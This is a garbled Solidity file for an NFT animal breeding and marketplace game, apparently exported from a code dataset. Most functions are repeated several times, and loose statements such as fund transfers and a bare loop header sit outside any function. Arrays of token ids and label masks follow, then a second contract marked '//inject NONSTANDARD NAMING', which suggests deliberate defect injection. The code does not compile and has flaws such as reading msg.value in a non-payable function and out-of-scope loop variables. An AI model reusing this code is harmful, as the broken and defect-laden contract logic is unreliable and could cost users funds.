return(animalAgainstId[aid].name,
animalAgainstId[aid].desc,
2**256 - 1,
animalAgainstId[aid].priceForSale,
animalAgainstId[aid].priceForMating,
animalAgainstId[aid].parentId1,
animalAgainstId[aid].parentId2
);
}
else
{
return(animalAgainstId[aid].name,
animalAgainstId[aid].desc,
animalAgainstId[aid].id,
animalAgainstId[aid].priceForSale,
animalAgainstId[aid].priceForMating,
animalAgainstId[aid].parentId1,
animalAgainstId[aid].parentId2
);
}
}
function getAnimalById(uint aid) public constant returns
(string, string,uint,uint ,uint, uint,uint)
{
if(animalAgainstId[aid].eggPhase==true)
{
return(animalAgainstId[aid].name,
animalAgainstId[aid].desc,
2**256 - 1,
animalAgainstId[aid].priceForSale,
animalAgainstId[aid].priceForMating,
animalAgainstId[aid].parentId1,
animalAgainstId[aid].parentId2
);
}
else
{
return(animalAgainstId[aid].name,
animalAgainstId[aid].desc,
animalAgainstId[aid].id,
animalAgainstId[aid].priceForSale,
animalAgainstId[aid].priceForMating,
animalAgainstId[aid].parentId1,
animalAgainstId[aid].parentId2
);
}
}
function getAnimalById(uint aid) public constant returns
(string, string,uint,uint ,uint, uint,uint)
{
if(animalAgainstId[aid].eggPhase==true)
{
return(animalAgainstId[aid].name,
animalAgainstId[aid].desc,
2**256 - 1,
animalAgainstId[aid].priceForSale,
animalAgainstId[aid].priceForMating,
animalAgainstId[aid].parentId1,
animalAgainstId[aid].parentId2
);
}
else
{
return(animalAgainstId[aid].name,
animalAgainstId[aid].desc,
animalAgainstId[aid].id,
animalAgainstId[aid].priceForSale,
animalAgainstId[aid].priceForMating,
animalAgainstId[aid].parentId1,
animalAgainstId[aid].parentId2
);
}
}
function getAnimalByIdVisibility(uint aid) public constant
returns (bool upforsale,bool upformating,bool eggphase,bool isbornbymating,
uint birthdate, uint costumeid, uint generationid )
{
return(
animalAgainstId[aid].upForSale,
animalAgainstId[aid].upForMating,
animalAgainstId[aid].eggPhase,
animalAgainstId[aid].isBornByMating,
animalAgainstId[aid].birthdate,
animalAgainstId[aid].costumeId,
animalAgainstId[aid].generationId
);
}
function getOwnerByAnimalId(uint aid) public constant
returns (address)
{
return token.ownerOf(aid);
}
function getAllAnimalsByAddress(address ad) public constant returns (uint[] listAnimals)
{
require (!isContractPaused);
return token.getAnimalIdAgainstAddress(ad);
}
function MintAnimalsFromAnimalFactory(string animalName, string animalDesc) public payable
{
require (!isContractPaused);
require(validPurchase());
require(msg.sender != 0x0);
if (totalAnimalsCreated >= totalAnimalsMax) throw;
uint gId=0;
if (msg.sender!=owner)
{
gId=1;
}
uint256 weiAmount = msg.value;
uniqueAnimalId++;
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: false,
priceForMating:0,
isBornByMating:false,
parentId1:0,
parentId2:0,
birthdate:now,
costumeId:0,
generationId:gId
});
emit AnimalsPurchased(msg.sender, owner, weiAmount, tokens);
totalAnimalsCreated++;
}
function MintAnimalsFromAnimalFactory(string animalName, string animalDesc) public payable
{
require (!isContractPaused);
require(validPurchase());
require(msg.sender != 0x0);
if (totalAnimalsCreated >= totalAnimalsMax) throw;
uint gId=0;
if (msg.sender!=owner)
{
gId=1;
}
uint256 weiAmount = msg.value;
uniqueAnimalId++;
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: false,
priceForMating:0,
isBornByMating:false,
parentId1:0,
parentId2:0,
birthdate:now,
costumeId:0,
generationId:gId
});
emit AnimalsPurchased(msg.sender, owner, weiAmount, tokens);
totalAnimalsCreated++;
}
uint256 tokens = weiAmount.div(weiPerAnimal);
weiRaised = weiRaised.add(weiAmount);
function MintAnimalsFromAnimalFactory(string animalName, string animalDesc) public payable
{
require (!isContractPaused);
require(validPurchase());
require(msg.sender != 0x0);
if (totalAnimalsCreated >= totalAnimalsMax) throw;
uint gId=0;
if (msg.sender!=owner)
{
gId=1;
}
uint256 weiAmount = msg.value;
uniqueAnimalId++;
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: false,
priceForMating:0,
isBornByMating:false,
parentId1:0,
parentId2:0,
birthdate:now,
costumeId:0,
generationId:gId
});
emit AnimalsPurchased(msg.sender, owner, weiAmount, tokens);
totalAnimalsCreated++;
}
token.sendToken(msg.sender, uniqueAnimalId,animalName);
animalAgainstId[uniqueAnimalId]=animalObject;
owner.transfer(msg.value);
function buyAnimalsFromUser(uint animalId)
{
require (!isContractPaused);
require(msg.sender != 0x0);
address prevOwner=token.ownerOf(animalId);
require(prevOwner!=msg.sender);
uint price=animalAgainstId[animalId].priceForSale;
uint priceWithOwnerPercentage = animalAgainstId[animalId].priceForSale;
require(msg.value>=priceWithOwnerPercentage);
token.safeTransferFrom(prevOwner,msg.sender,animalId);
animalAgainstId[animalId].upForSale=false;
animalAgainstId[animalId].priceForSale=0;
for (uint j=0;j<upForSaleList.length;j++)
{
if (upForSaleList[j] == animalId)
delete upForSaleList[j];
}
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
function buyAnimalsFromUser(uint animalId)
{
require (!isContractPaused);
require(msg.sender != 0x0);
address prevOwner=token.ownerOf(animalId);
require(prevOwner!=msg.sender);
uint price=animalAgainstId[animalId].priceForSale;
uint priceWithOwnerPercentage = animalAgainstId[animalId].priceForSale;
require(msg.value>=priceWithOwnerPercentage);
token.safeTransferFrom(prevOwner,msg.sender,animalId);
animalAgainstId[animalId].upForSale=false;
animalAgainstId[animalId].priceForSale=0;
for (uint j=0;j<upForSaleList.length;j++)
{
if (upForSaleList[j] == animalId)
delete upForSaleList[j];
}
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
prevOwner.transfer(price);
if(msg.value>priceWithOwnerPercentage)
function buyAnimalsFromUser(uint animalId)
{
require (!isContractPaused);
require(msg.sender != 0x0);
address prevOwner=token.ownerOf(animalId);
require(prevOwner!=msg.sender);
uint price=animalAgainstId[animalId].priceForSale;
uint priceWithOwnerPercentage = animalAgainstId[animalId].priceForSale;
require(msg.value>=priceWithOwnerPercentage);
token.safeTransferFrom(prevOwner,msg.sender,animalId);
animalAgainstId[animalId].upForSale=false;
animalAgainstId[animalId].priceForSale=0;
for (uint j=0;j<upForSaleList.length;j++)
{
if (upForSaleList[j] == animalId)
delete upForSaleList[j];
}
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
function mateAnimal(uint parent1Id, uint parent2Id, string animalName,string animalDesc)
{
require (!isMatingPaused);
require (!isContractPaused);
require(msg.sender != 0x0);
require (token.ownerOf(parent2Id) == msg.sender);
require(token.ownerOf(parent2Id)!=token.ownerOf(parent1Id));
require(animalAgainstId[parent1Id].upForMating==true);
uint price=animalAgainstId[parent1Id].priceForMating;
uint OwnerPercentage=animalAgainstId[parent1Id].priceForMating.mul(ownerPerThousandShareForMating);
OwnerPercentage=OwnerPercentage.div(1000);
uint priceWithOwnerPercentage = animalAgainstId[parent1Id].priceForMating.add(OwnerPercentage);
require(msg.value>=priceWithOwnerPercentage);
uint generationnum = 1;
if(animalAgainstId[parent1Id].generationId >= animalAgainstId[parent2Id].generationId)
{
generationnum = animalAgainstId[parent1Id].generationId+1;
}
else{
generationnum = animalAgainstId[parent2Id].generationId+1;
}
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: true,
priceForMating:0,
isBornByMating:true,
parentId1: parent1Id,
parentId2: parent2Id,
birthdate:now,
costumeId:0,
generationId:generationnum
});
childrenIdAgainstAnimalId[parent2Id].push(uniqueAnimalId);
{
if (upForMatingList[i]==parent1Id)
delete upForMatingList[i];
}
animalAgainstId[parent1Id].priceForMating = 0;
totalAnimalsCreated++;
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
function mateAnimal(uint parent1Id, uint parent2Id, string animalName,string animalDesc)
{
require (!isMatingPaused);
require (!isContractPaused);
require(msg.sender != 0x0);
require (token.ownerOf(parent2Id) == msg.sender);
require(token.ownerOf(parent2Id)!=token.ownerOf(parent1Id));
require(animalAgainstId[parent1Id].upForMating==true);
uint price=animalAgainstId[parent1Id].priceForMating;
uint OwnerPercentage=animalAgainstId[parent1Id].priceForMating.mul(ownerPerThousandShareForMating);
OwnerPercentage=OwnerPercentage.div(1000);
uint priceWithOwnerPercentage = animalAgainstId[parent1Id].priceForMating.add(OwnerPercentage);
require(msg.value>=priceWithOwnerPercentage);
uint generationnum = 1;
if(animalAgainstId[parent1Id].generationId >= animalAgainstId[parent2Id].generationId)
{
generationnum = animalAgainstId[parent1Id].generationId+1;
}
else{
generationnum = animalAgainstId[parent2Id].generationId+1;
}
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: true,
priceForMating:0,
isBornByMating:true,
parentId1: parent1Id,
parentId2: parent2Id,
birthdate:now,
costumeId:0,
generationId:generationnum
});
childrenIdAgainstAnimalId[parent2Id].push(uniqueAnimalId);
{
if (upForMatingList[i]==parent1Id)
delete upForMatingList[i];
}
animalAgainstId[parent1Id].priceForMating = 0;
totalAnimalsCreated++;
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
function mateAnimal(uint parent1Id, uint parent2Id, string animalName,string animalDesc)
{
require (!isMatingPaused);
require (!isContractPaused);
require(msg.sender != 0x0);
require (token.ownerOf(parent2Id) == msg.sender);
require(token.ownerOf(parent2Id)!=token.ownerOf(parent1Id));
require(animalAgainstId[parent1Id].upForMating==true);
uint price=animalAgainstId[parent1Id].priceForMating;
uint OwnerPercentage=animalAgainstId[parent1Id].priceForMating.mul(ownerPerThousandShareForMating);
OwnerPercentage=OwnerPercentage.div(1000);
uint priceWithOwnerPercentage = animalAgainstId[parent1Id].priceForMating.add(OwnerPercentage);
require(msg.value>=priceWithOwnerPercentage);
uint generationnum = 1;
if(animalAgainstId[parent1Id].generationId >= animalAgainstId[parent2Id].generationId)
{
generationnum = animalAgainstId[parent1Id].generationId+1;
}
else{
generationnum = animalAgainstId[parent2Id].generationId+1;
}
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: true,
priceForMating:0,
isBornByMating:true,
parentId1: parent1Id,
parentId2: parent2Id,
birthdate:now,
costumeId:0,
generationId:generationnum
});
childrenIdAgainstAnimalId[parent2Id].push(uniqueAnimalId);
{
if (upForMatingList[i]==parent1Id)
delete upForMatingList[i];
}
animalAgainstId[parent1Id].priceForMating = 0;
totalAnimalsCreated++;
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
uniqueAnimalId++;
function mateAnimal(uint parent1Id, uint parent2Id, string animalName,string animalDesc)
{
require (!isMatingPaused);
require (!isContractPaused);
require(msg.sender != 0x0);
require (token.ownerOf(parent2Id) == msg.sender);
require(token.ownerOf(parent2Id)!=token.ownerOf(parent1Id));
require(animalAgainstId[parent1Id].upForMating==true);
uint price=animalAgainstId[parent1Id].priceForMating;
uint OwnerPercentage=animalAgainstId[parent1Id].priceForMating.mul(ownerPerThousandShareForMating);
OwnerPercentage=OwnerPercentage.div(1000);
uint priceWithOwnerPercentage = animalAgainstId[parent1Id].priceForMating.add(OwnerPercentage);
require(msg.value>=priceWithOwnerPercentage);
uint generationnum = 1;
if(animalAgainstId[parent1Id].generationId >= animalAgainstId[parent2Id].generationId)
{
generationnum = animalAgainstId[parent1Id].generationId+1;
}
else{
generationnum = animalAgainstId[parent2Id].generationId+1;
}
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: true,
priceForMating:0,
isBornByMating:true,
parentId1: parent1Id,
parentId2: parent2Id,
birthdate:now,
costumeId:0,
generationId:generationnum
});
childrenIdAgainstAnimalId[parent2Id].push(uniqueAnimalId);
{
if (upForMatingList[i]==parent1Id)
delete upForMatingList[i];
}
animalAgainstId[parent1Id].priceForMating = 0;
totalAnimalsCreated++;
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
token.sendToken(msg.sender,uniqueAnimalId,animalName);
animalAgainstId[uniqueAnimalId]=animalObject;
eggPhaseAnimalIds.push(uniqueAnimalId);
childrenIdAgainstAnimalId[parent1Id].push(uniqueAnimalId);
for (uint i=0;i<upForMatingList.length;i++)
function mateAnimal(uint parent1Id, uint parent2Id, string animalName,string animalDesc)
{
require (!isMatingPaused);
require (!isContractPaused);
require(msg.sender != 0x0);
require (token.ownerOf(parent2Id) == msg.sender);
require(token.ownerOf(parent2Id)!=token.ownerOf(parent1Id));
require(animalAgainstId[parent1Id].upForMating==true);
uint price=animalAgainstId[parent1Id].priceForMating;
uint OwnerPercentage=animalAgainstId[parent1Id].priceForMating.mul(ownerPerThousandShareForMating);
OwnerPercentage=OwnerPercentage.div(1000);
uint priceWithOwnerPercentage = animalAgainstId[parent1Id].priceForMating.add(OwnerPercentage);
require(msg.value>=priceWithOwnerPercentage);
uint generationnum = 1;
if(animalAgainstId[parent1Id].generationId >= animalAgainstId[parent2Id].generationId)
{
generationnum = animalAgainstId[parent1Id].generationId+1;
}
else{
generationnum = animalAgainstId[parent2Id].generationId+1;
}
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: true,
priceForMating:0,
isBornByMating:true,
parentId1: parent1Id,
parentId2: parent2Id,
birthdate:now,
costumeId:0,
generationId:generationnum
});
childrenIdAgainstAnimalId[parent2Id].push(uniqueAnimalId);
{
if (upForMatingList[i]==parent1Id)
delete upForMatingList[i];
}
animalAgainstId[parent1Id].priceForMating = 0;
totalAnimalsCreated++;
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
animalAgainstId[parent1Id].upForMating = false;
token.ownerOf(parent1Id).transfer(price);
if(msg.value>priceWithOwnerPercentage)
function mateAnimal(uint parent1Id, uint parent2Id, string animalName,string animalDesc)
{
require (!isMatingPaused);
require (!isContractPaused);
require(msg.sender != 0x0);
require (token.ownerOf(parent2Id) == msg.sender);
require(token.ownerOf(parent2Id)!=token.ownerOf(parent1Id));
require(animalAgainstId[parent1Id].upForMating==true);
uint price=animalAgainstId[parent1Id].priceForMating;
uint OwnerPercentage=animalAgainstId[parent1Id].priceForMating.mul(ownerPerThousandShareForMating);
OwnerPercentage=OwnerPercentage.div(1000);
uint priceWithOwnerPercentage = animalAgainstId[parent1Id].priceForMating.add(OwnerPercentage);
require(msg.value>=priceWithOwnerPercentage);
uint generationnum = 1;
if(animalAgainstId[parent1Id].generationId >= animalAgainstId[parent2Id].generationId)
{
generationnum = animalAgainstId[parent1Id].generationId+1;
}
else{
generationnum = animalAgainstId[parent2Id].generationId+1;
}
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: true,
priceForMating:0,
isBornByMating:true,
parentId1: parent1Id,
parentId2: parent2Id,
birthdate:now,
costumeId:0,
generationId:generationnum
});
childrenIdAgainstAnimalId[parent2Id].push(uniqueAnimalId);
{
if (upForMatingList[i]==parent1Id)
delete upForMatingList[i];
}
animalAgainstId[parent1Id].priceForMating = 0;
totalAnimalsCreated++;
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
function TransferAnimalToAnotherUser(uint animalId,address to) public
{
require (!isContractPaused);
require(msg.sender != 0x0);
require(token.ownerOf(animalId)==msg.sender);
require(animalAgainstId[animalId].upForSale == false);
require(animalAgainstId[animalId].upForMating == false);
token.safeTransferFrom(msg.sender, to, animalId);
}
function putSaleRequest(uint animalId, uint salePrice)
{
require (!isContractPaused);
require(token.ownerOf(animalId)==msg.sender);
require(animalAgainstId[animalId].eggPhase==false);
require(animalAgainstId[animalId].upForSale==false);
require(animalAgainstId[animalId].upForMating==false);
animalAgainstId[animalId].upForSale=true;
animalAgainstId[animalId].priceForSale=salePrice;
upForSaleList.push(animalId);
}
function withdrawSaleRequest(uint animalId) public
{
require (!isContractPaused);
require(token.ownerOf(animalId)==msg.sender);
require(animalAgainstId[animalId].upForSale==true);
animalAgainstId[animalId].upForSale=false;
animalAgainstId[animalId].priceForSale=0;
for (uint i=0;i<upForSaleList.length;i++)
{
if (upForSaleList[i]==animalId)
delete upForSaleList[i];
}
}
function withdrawSaleRequest(uint animalId) public
{
require (!isContractPaused);
require(token.ownerOf(animalId)==msg.sender);
require(animalAgainstId[animalId].upForSale==true);
animalAgainstId[animalId].upForSale=false;
animalAgainstId[animalId].priceForSale=0;
for (uint i=0;i<upForSaleList.length;i++)
{
if (upForSaleList[i]==animalId)
delete upForSaleList[i];
}
}
function putMatingRequest(uint animalId, uint matePrice)
{
require(!isMatingPaused);
require(!isContractPaused);
require(token.ownerOf(animalId)==msg.sender);
require(animalAgainstId[animalId].eggPhase==false);
require(animalAgainstId[animalId].upForSale==false);
require(animalAgainstId[animalId].upForMating==false);
animalAgainstId[animalId].upForMating=true;
animalAgainstId[animalId].priceForMating=matePrice;
upForMatingList.push(animalId);
}
function withdrawMatingRequest(uint animalId) public
{
require(!isMatingPaused);
require(!isContractPaused);
require(token.ownerOf(animalId)==msg.sender);
require(animalAgainstId[animalId].upForMating==true);
animalAgainstId[animalId].upForMating=false;
animalAgainstId[animalId].priceForMating=0;
for (uint i=0;i<upForMatingList.length;i++)
{
if (upForMatingList[i]==animalId)
delete upForMatingList[i];
}
}
function withdrawMatingRequest(uint animalId) public
{
require(!isMatingPaused);
require(!isContractPaused);
require(token.ownerOf(animalId)==msg.sender);
require(animalAgainstId[animalId].upForMating==true);
animalAgainstId[animalId].upForMating=false;
animalAgainstId[animalId].priceForMating=0;
for (uint i=0;i<upForMatingList.length;i++)
{
if (upForMatingList[i]==animalId)
delete upForMatingList[i];
}
}
function validPurchase() internal constant returns (bool)
{
if(msg.value.div(weiPerAnimal)<1)
return false;
uint quotient=msg.value.div(weiPerAnimal);
uint actualVal=quotient.mul(weiPerAnimal);
if(msg.value>actualVal)
return false;
else
return true;
}
function showMyAnimalBalance() public view returns (uint256 tokenBalance)
{
tokenBalance = token.balanceOf(msg.sender);
}
function setMintRate(uint newPrice) public onlyOwner returns (bool)
{
weiPerAnimal = newPrice;
}
function setMateAdvertisementRate(uint256 newPrice) public onlyOwner returns (bool)
{
priceForMateAdvertisement = newPrice;
}
function setSaleAdvertisementRate(uint newPrice) public onlyOwner returns (bool)
{
priceForSaleAdvertisement = newPrice;
}
function setBuyingCostumeRate(uint newPrice) public onlyOwner returns (bool)
{
priceForBuyingCostume = newPrice;
}
function getAllMatingAnimals() public constant returns (uint[])
{
return upForMatingList;
}
function getAllSaleAnimals() public constant returns (uint[])
{
return upForSaleList;
}
function changeFreeAnimalsLimit(uint limit) public onlyOwner
{
freeAnimalsLimit = limit;
}
function changeMaxMintable(uint limit) public onlyOwner
{
totalAnimalsMax = limit;
}
function changeOwnerSharePerThousandForBuying(uint buyshare) public onlyOwner
{
ownerPerThousandShareForBuying = buyshare;
}
function changeOwnerSharePerThousandForMating(uint mateshare) public onlyOwner
{
ownerPerThousandShareForMating = mateshare;
}
function pauseContract(bool isPaused) public onlyOwner
{
isContractPaused = isPaused;
}
function removeFromEggPhase(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<eggPhaseAnimalIds.length;j++)
{
if (eggPhaseAnimalIds[j]==animalId)
{
delete eggPhaseAnimalIds[j];
}
}
animalAgainstId[animalId].eggPhase = false;
}
}
}
function removeFromEggPhase(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<eggPhaseAnimalIds.length;j++)
{
if (eggPhaseAnimalIds[j]==animalId)
{
delete eggPhaseAnimalIds[j];
}
}
animalAgainstId[animalId].eggPhase = false;
}
}
}
function removeFromEggPhase(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<eggPhaseAnimalIds.length;j++)
{
if (eggPhaseAnimalIds[j]==animalId)
{
delete eggPhaseAnimalIds[j];
}
}
animalAgainstId[animalId].eggPhase = false;
}
}
}
function removeFromEggPhase(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<eggPhaseAnimalIds.length;j++)
{
if (eggPhaseAnimalIds[j]==animalId)
{
delete eggPhaseAnimalIds[j];
}
}
animalAgainstId[animalId].eggPhase = false;
}
}
}
function removeFromEggPhase(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<eggPhaseAnimalIds.length;j++)
{
if (eggPhaseAnimalIds[j]==animalId)
{
delete eggPhaseAnimalIds[j];
}
}
animalAgainstId[animalId].eggPhase = false;
}
}
}
function getChildrenAgainstAnimalId(uint id) public constant returns (uint[])
{
return childrenIdAgainstAnimalId[id];
}
function getEggPhaseList() public constant returns (uint[])
{
return eggPhaseAnimalIds;
}
function getAnimalIdsWithPendingCostume() public constant returns (uint[])
{
return animalIdsWithPendingCostumes;
}
function buyCostume(uint cId, uint aId) public payable
{
require(msg.value>=priceForBuyingCostume);
require(!isContractPaused);
require(token.ownerOf(aId)==msg.sender);
require(animalAgainstId[aId].costumeId==0);
animalAgainstId[aId].costumeId=cId;
animalIdsWithPendingCostumes.push(aId);
owner.transfer(msg.value);
}
function approvePendingCostume(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<animalIdsWithPendingCostumes.length;j++)
{
if (animalIdsWithPendingCostumes[j]==animalId)
{
delete animalIdsWithPendingCostumes[j];
}
}
}
}
}
function approvePendingCostume(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<animalIdsWithPendingCostumes.length;j++)
{
if (animalIdsWithPendingCostumes[j]==animalId)
{
delete animalIdsWithPendingCostumes[j];
}
}
}
}
}
function approvePendingCostume(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<animalIdsWithPendingCostumes.length;j++)
{
if (animalIdsWithPendingCostumes[j]==animalId)
{
delete animalIdsWithPendingCostumes[j];
}
}
}
}
}
function approvePendingCostume(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<animalIdsWithPendingCostumes.length;j++)
{
if (animalIdsWithPendingCostumes[j]==animalId)
{
delete animalIdsWithPendingCostumes[j];
}
}
}
}
}
function approvePendingCostume(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<animalIdsWithPendingCostumes.length;j++)
{
if (animalIdsWithPendingCostumes[j]==animalId)
{
delete animalIdsWithPendingCostumes[j];
}
}
}
}
}
function addMember(address member) public onlyOwner
{
memberAddresses.push(member);
}
function listMembers() public constant returns (address[])
{
return memberAddresses;
}
function deleteMember(address member) public onlyOwner
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==member)
{
delete memberAddresses[i];
}
}
}
function deleteMember(address member) public onlyOwner
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==member)
{
delete memberAddresses[i];
}
}
}
function deleteMember(address member) public onlyOwner
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==member)
{
delete memberAddresses[i];
}
}
}
function updateAnimal(uint animalId, string name, string desc) public
{
require(msg.sender==token.ownerOf(animalId));
animalAgainstId[animalId].name=name;
animalAgainstId[animalId].desc=desc;
token.setAnimalMeta(animalId, name);
}
}
| 11,492,340 |
[
1,
1986,
3695,
9364,
279,
2202,
392,
2840,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
95,
203,
565,
1958,
1922,
2840,
2297,
203,
565,
288,
203,
3639,
2254,
612,
31,
203,
3639,
533,
508,
31,
203,
3639,
533,
3044,
31,
203,
3639,
1426,
731,
1290,
30746,
31,
203,
3639,
2254,
6205,
1290,
30746,
31,
203,
3639,
1426,
731,
1290,
49,
1776,
31,
203,
3639,
1426,
25144,
11406,
31,
203,
3639,
2254,
6205,
1290,
49,
1776,
31,
203,
3639,
1426,
27057,
14245,
858,
49,
1776,
31,
203,
3639,
2254,
11582,
21,
31,
203,
3639,
2254,
11582,
22,
31,
203,
3639,
2254,
17057,
712,
31,
203,
3639,
2254,
6991,
2066,
548,
31,
203,
3639,
2254,
9377,
548,
31,
203,
565,
289,
203,
377,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
7010,
377,
203,
377,
203,
203,
377,
203,
377,
203,
203,
377,
203,
203,
203,
565,
2254,
1071,
3410,
2173,
1315,
1481,
464,
9535,
1290,
38,
9835,
310,
273,
1381,
31,
203,
203,
202,
203,
377,
203,
202,
203,
202,
203,
203,
565,
2254,
1071,
6205,
1290,
30746,
1871,
1097,
291,
820,
31,
203,
377,
203,
565,
2254,
1071,
6205,
1290,
38,
9835,
310,
8018,
2066,
31,
203,
203,
203,
203,
565,
2254,
8526,
25144,
11406,
979,
2840,
2673,
31,
203,
565,
2254,
8526,
392,
2840,
2673,
1190,
8579,
8018,
6411,
31,
203,
203,
203,
21281,
565,
4232,
39,
27,
5340,
1358,
1071,
1147,
31,
203,
565,
2254,
3089,
979,
2840,
548,
33,
20,
31,
203,
565,
2874,
12,
11890,
9207,
979,
2840,
2297,
13,
225,
392,
2840,
23530,
334,
548,
31,
203,
565,
2874,
12,
11890,
9207,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
//
abstract contract Context {
function _MSGSENDER742() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA476() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OWNERSHIPTRANSFERRED603(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
address msgSender = _MSGSENDER742();
_owner = msgSender;
emit OWNERSHIPTRANSFERRED603(address(0), msgSender);
}
function OWNER943() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER460() { //inject NONSTANDARD NAMING
require(_owner == _MSGSENDER742(), "Ownable: caller is not the owner");
_;
}
function RENOUNCEOWNERSHIP291() public virtual ONLYOWNER460 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED603(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP407(address newOwner) public virtual ONLYOWNER460 { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED603(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract PriceProvider is Ownable {
address public manager;
string public providerName;
uint8 public constant decimals686 = 2; // decimals of ethereum price //inject NONSTANDARD NAMING
bool public updateRequred;
constructor(string memory _providerName, address _manager, bool _updateRequred) public Ownable() {
providerName = _providerName;
manager = _manager;
updateRequred = _updateRequred;
}
function SETMANAGER980(address _manager) external ONLYOWNER460 { //inject NONSTANDARD NAMING
manager = _manager;
}
function LASTPRICE690() public virtual view returns (uint32); //inject NONSTANDARD NAMING
}
//
interface IERC20 {
function TOTALSUPPLY861() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF276(address account) external view returns (uint256); //inject NONSTANDARD NAMING
